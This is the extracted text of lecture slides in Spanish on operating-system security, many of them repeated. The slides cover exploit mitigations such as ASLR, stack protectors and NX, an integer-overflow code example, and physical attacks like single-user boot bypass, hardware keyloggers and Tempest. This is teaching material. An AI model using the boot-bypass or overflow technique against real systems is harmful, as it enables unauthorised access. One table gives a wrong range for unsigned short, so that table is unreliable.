  • 56. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 57. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 58. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
  • 59. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 60. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 61. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 62. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en Windows Hasta el XP: Nada A partir del XP se usa una cookie para detectar desbordamientos en la pila A partir del Vista Beta 2, se usa: ASLR (Address Space Layout Randomization) OJO: Cambian en cada reinicio del sistema OJO: Rango de margen: 256 bytes Jacobo Avariento Seguridad en Sistemas Operativos
  • 63. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 64. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 65. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Defensa en GNU/Linux En la versi´on 2.6.11 se introduce VA Space Randomization Cambian las direcciones del ejecutable y las librer´ıas din´amicas vinculadas en cada carga del programa Rango de margen: 8 MB En la versi´on 2.6.25 se introduce la aleatorizaci´on de direcciones virtuales del mont´ıculo (“heap”) Jacobo Avariento Seguridad en Sistemas Operativos
  • 66. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Desbordamientos de enteros “Integer Overflow” Jacobo Avariento Seguridad en Sistemas Operativos
  • 67. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 68. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 69. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Tipos num´ericos y su rango en C (Signed) char [-128, 127] Unsigned char [0, 255] (Signed short) [-32768, 32767] Unsigned short [0, 4294967295] (Signed) integer [-2147483648, 2147483647] Unsigned integer [0, 4294967295] OJO integer = long en CPU de 32 bits! (Signed) long long [-9223372036854775808, 9223372036854775807] Unsigned long long [0, 18446744073709551615] Jacobo Avariento Seguridad en Sistemas Operativos
  • 70. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Ejemplo long long max_quota= 2147483647+1; // Overflow? int current_quota= get_quota(user); // Overflow? if (current_quota > max_quota) { printf(‘‘Quota exceeded.‘‘); _exit(0); } Vpopmail/QmailAdmin: http://www.sofistic.net/es/advisories/0901 Jacobo Avariento Seguridad en Sistemas Operativos
  • 71. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Ejemplo long long max_quota= 2147483647+1; // Overflow? int current_quota= get_quota(user); // Overflow? if (current_quota > max_quota) { printf(‘‘Quota exceeded.‘‘); _exit(0); } Vpopmail/QmailAdmin: http://www.sofistic.net/es/advisories/0901 Jacobo Avariento Seguridad en Sistemas Operativos
  • 72. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad F´ısica Jacobo Avariento Seguridad en Sistemas Operativos
  • 73. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 74. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 75. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 76. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 77. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el arranque del sistema Linux bootloaders: Grub y LILO single Macintosh Command + s (http://support.apple.com/kb/HT1492) ¿Defensa? Jacobo Avariento Seguridad en Sistemas Operativos
  • 78. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Keyloggers $54.95 Jacobo Avariento Seguridad en Sistemas Operativos
  • 79. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Keyloggers $89.99 Jacobo Avariento Seguridad en Sistemas Operativos
  • 80. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el entorno: Efecto Tempest Fuente: http://www.cl.cam.ac.uk/ mgk25/pet2004-fpd.pdf Jacobo Avariento Seguridad en Sistemas Operativos
  • 81. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Seguridad en el sistema: Cifrado de datos/particiones OpenSSL LUKS TrueCrypt Jacobo Avariento Seguridad en Sistemas Operativos
  • 82. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica $ kill -9 $$ Jacobo Avariento Seguridad en Sistemas Operativos